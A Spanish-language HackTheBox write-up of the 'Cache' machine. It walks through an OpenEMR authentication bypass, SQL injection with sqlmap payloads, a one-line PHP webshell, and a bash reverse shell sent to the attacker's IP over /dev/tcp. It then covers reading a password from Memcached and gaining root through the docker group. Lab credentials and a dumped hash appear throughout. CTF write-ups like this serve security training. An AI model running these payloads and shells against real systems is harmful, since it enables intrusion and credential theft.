HackTheBox - Cache

HackTheBox - Cache

·

10 min read

Cache es una máquina Linux cuya enumeración inicial del sitio web revela un segundo dominio alojado en el mismo servidor bajo un vhost diferente. Este dominio alberga una instancia de OpenEMR vulnerable a inyecciones SQL, lo que permite obtener el hash de la contraseña de un usuario administrador y crackearlo. Estas credenciales permiten explotar una vulnerabilidad para subir una webshell en PHP y ejecutar comandos, logrando una reverse shell como el usuario www-data. Posteriormente, con credenciales descubiertas durante la enumeración inicial, se puede realizar un movimiento lateral al usuario ash. Finalmente, la enumeración de Memcached revela la contraseña del usuario luffy, quien pertenece al grupo docker.

Reconocimiento

┌──(root㉿kali)-[/home/noc/htb/cache/nmap]
└─# nmap -p- --open -sSCV --min-rate 5000 -n -Pn -v 10.10.10.188 -oN scan

El escaneo reveló dos servicios: SSH en el puerto 22 y un servidor web HTTP en el puerto 80.

Puerto 80

Añado cache.htb a /etc/hosts, pero no cambia nada de la web.

Home redirige a /index.html, News redirige a /news.html. Nada de interés por aquí…

Contact us redirige a /contactus.html. No parece ser funcional…

Viendo que las páginas anteriores tenían la extensión html, busco directorios con la extension:

┌──(root㉿kali)-[/home/noc/htb/cache/nmap]
└─# gobuster dir -u http://cache.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://cache.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 274]
/index.html           (Status: 200) [Size: 8193]
/news.html            (Status: 200) [Size: 7235]
/login.html           (Status: 200) [Size: 2421]
/contactus.html       (Status: 200) [Size: 2539]
/author.html          (Status: 200) [Size: 1522]
/net.html             (Status: 200) [Size: 290]
/javascript           (Status: 301) [Size: 311] [--> http://cache.htb/javascript/]

/author.html tiene información sobre un posible usuario Ash“. También hay una referencia a un proyecto suyo llamado HMS (Hospital Management System).

En /login.html hay un panel de inicio de sesión:

En el código fuente se pueden ver unos archivos en Javascript:

functionality.js contiene un usuario y una contraseña (ash:H@v3_fun):

$(function(){

    var error_correctPassword = false;
    var error_username = false;

    function checkCorrectPassword(){
        var Password = $("#password").val();
        if(Password != 'H@v3_fun'){
            alert("Password didn't Match");
            error_correctPassword = true;
        }
    }
    function checkCorrectUsername(){
        var Username = $("#username").val();
        if(Username != "ash"){
            alert("Username didn't Match");
            error_username = true;
        }
    }
    $("#loginform").submit(function(event) {
        /* Act on the event */
        error_correctPassword = false;
         checkCorrectPassword();
         error_username = false;
         checkCorrectUsername();


        if(error_correctPassword == false && error_username ==false){
            return true;
        }
        else{
            return false;
        }
    });

});

Iniciar sesión con las credenciales nos lleva a /net.html, donde no parece haber nada relevante:

Buscando subdominios de http://cache.htb con wfuzz y gobuster no encontré ninguno. De vuelta a /author.html, había una pista sobre un proyecto “HMS“… Traté de añadirlo como un subdominio “hms.cache.htb” a /etc/hosts pero tampoco nada…

Resultó ser que no era un subdominio, sino un nuevo dominio lo que había que descubrir: hms.htb

hms.htb

┌──(root㉿kali)-[/home/noc/htb/cache/nmap]
└─# whatweb http://hms.htb                                                                                                                                          
http://hms.htb [302 Found] Apache[2.4.29], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.188], RedirectLocation[interface/login/login.php?site=default]
http://hms.htb/interface/login/login.php?site=default [200 OK] Apache[2.4.29], Bootstrap, Cookies[OpenEMR], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.10.188], JQuery, probably OpenEMR, PasswordField[clearPass], Script[text/javascript], Title[OpenEMR Login], X-UA-Compatible[IE=edge]

OpenEMR es «un software de administración de práctica médica qué también apoya Registros Médicos Electrónicos». Las credenciales anteriores del usuario ash no son válidas.

Fuzzeando dominios de http://hms.htb:

┌──(root㉿kali)-[/home/noc/htb/cache/nmap]
└─# gobuster dir -u http://hms.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,js

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://hms.htb
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,js
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 272]
/images               (Status: 301) [Size: 303] [--> http://hms.htb/images/]
/.html                (Status: 403) [Size: 272]
/index.php            (Status: 302) [Size: 0] [--> interface/login/login.php?site=default]
/templates            (Status: 301) [Size: 306] [--> http://hms.htb/templates/]
/services             (Status: 301) [Size: 305] [--> http://hms.htb/services/]
/modules              (Status: 301) [Size: 304] [--> http://hms.htb/modules/]
/common               (Status: 301) [Size: 303] [--> http://hms.htb/common/]
/library              (Status: 301) [Size: 304] [--> http://hms.htb/library/]
/public               (Status: 301) [Size: 303] [--> http://hms.htb/public/]
/version.php          (Status: 200) [Size: 0]
/admin.php            (Status: 200) [Size: 937]
/portal               (Status: 301) [Size: 303] [--> http://hms.htb/portal/]
/tests                (Status: 301) [Size: 302] [--> http://hms.htb/tests/]
/sites                (Status: 301) [Size: 302] [--> http://hms.htb/sites/]
/custom               (Status: 301) [Size: 303] [--> http://hms.htb/custom/]
/javascript           (Status: 301) [Size: 307] [--> http://hms.htb/javascript/]
/contrib              (Status: 301) [Size: 304] [--> http://hms.htb/contrib/]
/interface            (Status: 301) [Size: 306] [--> http://hms.htb/interface/]
/vendor               (Status: 301) [Size: 303] [--> http://hms.htb/vendor/]
/config               (Status: 301) [Size: 303] [--> http://hms.htb/config/]
/setup.php            (Status: 200) [Size: 1214]
/Documentation        (Status: 301) [Size: 310] [--> http://hms.htb/Documentation/]
/sql                  (Status: 301) [Size: 300] [--> http://hms.htb/sql/]
/controller.php       (Status: 200) [Size: 37]
/LICENSE              (Status: 200) [Size: 35147]
/ci                   (Status: 301) [Size: 299] [--> http://hms.htb/ci/]
/cloud                (Status: 301) [Size: 302] [--> http://hms.htb/cloud/]
/ccr                  (Status: 301) [Size: 300] [--> http://hms.htb/ccr/]
/patients             (Status: 301) [Size: 305] [--> http://hms.htb/patients/]

En /admin.php se logra identificar la versión (5.0.1) y el nombre de la base de datos openemr.

Shell como www-data

Buscando “openemr vulnerabilities“ en Google encuentro este informe sobre vulnerabilidades de la versión:

Authentication Bypass

En la sección 2.0 se describe una vulnerabilidad que permite omitir la autenticación. Por ejemplo, al acceder a http://hms.htb/portal/add_edit_event_user.php (donde hay inyecciones SQL) redirecciona hasta la página de inicio de sesión del portal, mostrando un mensaje de error:

Para evitar esta restricción, primero se debe visitar http://hms.htb/portal/account/register.php. Luego, al volver a ingresar la URL anterior en el navegador, la página se carga como si el usuario ya estuviera autenticado:

SQLi

Se puede acceder a la url del POC de la seccion 3.2 del informe:

Para identificar los tipos de inyección SQL, primero intercepté con BurpSuite y guardé la solicitud en un archivo req.txt para analizarla con sqlmap:

┌──(root㉿kali)-[/home/noc/htb/cache/content]
└─# cat req.txt                    
GET /portal/add_edit_event_user.php?eid=1 HTTP/1.1
Host: hms.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: OpenEMR=snjcboka3tfid17k0ou8jpoit0; PHPSESSID=416scblusu6m5u9qintfjp3buu
Upgrade-Insecure-Requests: 1

SQLmap encuentra 4 tipos de inyecciones SQL que pueden explotarse: Boolean-based Blind, Error-based, Time-based Blind y UNION Query. Además se identificaron dos bases de datos disponibles: information_schema y openemr.

┌──(root㉿kali)-[/home/noc/htb/cache/content]
└─# sqlmap -r req.txt --batch --dbs
(...)
sqlmap identified the following injection point(s) with a total of 47 HTTP(s) requests:
---
Parameter: eid (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: eid=(SELECT (CASE WHEN (1879=1879) THEN 1 ELSE (SELECT 5722 UNION SELECT 5495) END))

    Type: error-based
    Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
    Payload: eid=1 AND GTID_SUBSET(CONCAT(0x7176626a71,(SELECT (ELT(9971=9971,1))),0x71786b7a71),9971)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: eid=1 AND (SELECT 9234 FROM (SELECT(SLEEP(5)))MvSJ)

    Type: UNION query
    Title: Generic UNION query (NULL) - 4 columns
    Payload: eid=1 UNION ALL SELECT NULL,NULL,CONCAT(0x7176626a71,0x5971447368544a6a544d566867674e426c5849417a77536557504866697245676e75664e454d6543,0x71786b7a71),NULL-- -
---
[11:43:47] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 18.04 (bionic)
web application technology: Apache 2.4.29
back-end DBMS: MySQL >= 5.6
[11:43:47] [INFO] fetching database names
available databases [2]:
[*] information_schema
[*] openemr

Se listan las tablas de la base de datos openemr:

┌──(root㉿kali)-[/home/noc/htb/cache/content]
└─# sqlmap -r req.txt --batch -D openemr --tables
(...)
Database: openemr
[234 tables]
+---------------------------------------+
| array                                 |
| groups                                |
(...)
| transactions                          |
| user_settings                         |
| users                                 |
| users_facility                        |
| users_secure                          |
| valueset                              |
| voids                                 |
| x12_partners                          |
+---------------------------------------+

De users_secure se extrae el hash de la contraseña del usuario openemr_admin:

┌──(root㉿kali)-[/home/noc/htb/cache/content]
└─# sqlmap -r req.txt --batch -D openemr -T users_secure --dump
(...)
Database: openemr
Table: users_secure
[1 entry]
+----+---------+--------------------------------------------------------------+----------+---------------------+---------------+---------------+--------------------------------+-------------------+
| id | salt    | password                                                     | username | last_update         | salt_history1 | salt_history2 | password_history1              | password_history2 |
+----+---------+--------------------------------------------------------------+----------+---------------------+---------------+---------------+--------------------------------+-------------------+
| 1  | <blank> | $2a$05$l2sTLIG6GTBeyBf7TAKL6.ttEwJDmxs9bI6LXqlfCpEcY6VF6P0B. | <blank>  | 2019-11-21 06:38:40 | <blank>       | <blank>       | $2a$05$l2sTLIG6GTBeyBf7TAKL6A$ | openemr_admin     |
+----+---------+--------------------------------------------------------------+----------+---------------------+---------------+---------------+--------------------------------+-------------------+

Y con john se obtiene la contraseña xxxxxx:

Con las credenciales se puede iniciar sesión:

“Open EMR is vulnerable to an unrestricted file upload vulnerability in super/manage_site_files.php“ (sección 5.0 del informe)

En /super/manage_site_files.php se puede subir una webshell en PHP para ejecutar comandos en el sistema:

En la parte superior izquierda se puede escoger entre varios archivos php y editarlos:

Se cambia el contenido por una webshell en php: <?=`$_GET[cmd]`?>

Despues de darle a Save, con http://hms.htb/sites/default/letter_templates/custom_pdf.php?cmd=id:

bash -c "bash -i >& /dev/tcp/10.10.14.18/4444 0>&1" no funciona, hay que urlencodear los & de la reverse shell:

bash -c 'bash -i >%26 /dev/tcp/10.10.14.18/4444 0>%261'

Tratamiento de la TTY:

script /dev/null -c bash
^Z
stty raw -echo; fg 
            reset xterm
export TERM=xterm
export SHELL=bash
stty rows <x> columns <y>

Hay dos usuarios: ash y luffy

www-data@cache:/home$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ash:x:1000:1000:ash:/home/ash:/bin/bash
luffy:x:1001:1001:,,,:/home/luffy:/bin/bash

Escalada de Privilegios

www-data -> ash

Las credenciales anteriores ash:H@v3_fun no funcionaban por SSH, pero sí desde la shell como www-data:

ash -> luffy

Con linpeas, se ve un puerto abierto que no se había visto en el escaneo inicial de nmap:

Buscando información sobre que servicio podría corresponder al puerto 11211:

Memcached es un «un sistema de almacenamiento en caché…». Investigando como utilizarlo, encuentro esta guía y esta cheatsheet en las que hay la información necesaria para entender y utilizar el servicio.

Tras conectarme al servicio Memcached en el puerto 11211 usando nc, con stats items se pueden inspeccionar objetos almacenados en memoria:

ash@cache:/tmp$ nc 127.0.0.1 11211
stats items
STAT items:1:number 5
STAT items:1:number_hot 0
STAT items:1:number_warm 0
STAT items:1:number_cold 5
STAT items:1:age_hot 0
STAT items:1:age_warm 0
STAT items:1:age 33
STAT items:1:evicted 0
STAT items:1:evicted_nonzero 0
STAT items:1:evicted_time 0
STAT items:1:outofmemory 0
STAT items:1:tailrepairs 0
STAT items:1:reclaimed 0
STAT items:1:expired_unfetched 0
STAT items:1:evicted_unfetched 0
STAT items:1:evicted_active 0
STAT items:1:crawler_reclaimed 0
STAT items:1:crawler_items_checked 112
STAT items:1:lrutail_reflocked 0
STAT items:1:moves_to_cold 2074
STAT items:1:moves_to_warm 0
STAT items:1:moves_within_lru 0
STAT items:1:direct_reclaims 0
STAT items:1:hits_to_hot 0
STAT items:1:hits_to_warm 0
STAT items:1:hits_to_cold 0
STAT items:1:hits_to_temp 0
END

La terminología "hot", "warm" y "cold" del sistema de gestión de memoria basado en LRU (Least Recently Used) de Memcached clasifica los datos en slabs según su frecuencia de uso: los elementos "hot" se acceden frecuentemente, los "warm" se usan ocasionalmente, y los "cold" son los menos utilizados y candidatos a ser eliminados si la memoria se llena.

Mientras que stats items muestra información sobre las clases y sus elementos, stats cachedump <número de clase> lista las claves (keys) en una clase específica:

stats cachedump 1 0
ITEM link [21 b; 0 s]
ITEM user [5 b; 0 s]
ITEM passwd [9 b; 0 s]
ITEM file [7 b; 0 s]
ITEM account [9 b; 0 s]
END

Con get passwd, se extrae el valor asociado a la clave passwd, que es la contraseña del usuario luffy.

get passwd
VALUE passwd 0 9
0n3_p1ec3
END

luffy -> root

luffy pertenece al grupo docker, lo que permite ejecutar contenedores con privilegios elevados.

luffy@cache:~$ id
uid=1001(luffy) gid=1001(luffy) groups=1001(luffy),999(docker)

Está disponible una imagen de Ubuntu:

luffy@cache:~$ docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES
luffy@cache:~$ docker images
REPOSITORY          TAG                 IMAGE ID            CREATED             SIZE
ubuntu              latest              2ca708c1c9cc        5 years ago         64.2MB

Se ejecuta un contenedor Docker con la imagen de Ubuntu, montando el sistema de archivos del host (/) en el directorio /mnt del contenedor, y posteriormente utilizando chroot para cambiar el entorno raíz al sistema de archivos del host:

docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash
  • docker run: Ejecuta un contenedor basado en la imagen ubuntu.

  • -v /:/mnt: Monta el sistema de archivos raíz del host (/) en el directorio /mnt dentro del contenedor. Esto permite acceder al sistema de archivos completo del host desde el contenedor.

  • --rm: Elimina automáticamente el contenedor una vez finaliza su ejecución.

  • -it: Proporciona acceso interactivo al contenedor

    • -i (interactivo): Mantiene abierta la entrada estándar (stdin), lo que permite enviar comandos al contenedor.

    • -t (pseudo-TTY): Asigna un terminal emulado.

  • chroot /mnt bash: Cambia el directorio raíz dentro del contenedor al sistema de archivos del host (/mnt), lo que coloca al usuario en el entorno raíz del host con permisos de root.

luffy@cache:~$ docker run -v /:/mnt --rm -it ubuntu chroot /mnt bash
root@590e3040411b:/# id; hostname -I
uid=0(root) gid=0(root) groups=0(root)
172.17.0.2 
root@590e3040411b:/# cat /root/root.txt

Se puede leer ya la flag de root dentro del contenedor. Para obtener una shell como root fuera del contenedor, se puede usar passwd para cambiar la contraseña:

root@590e3040411b:/# passwd
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
root@590e3040411b:/# exit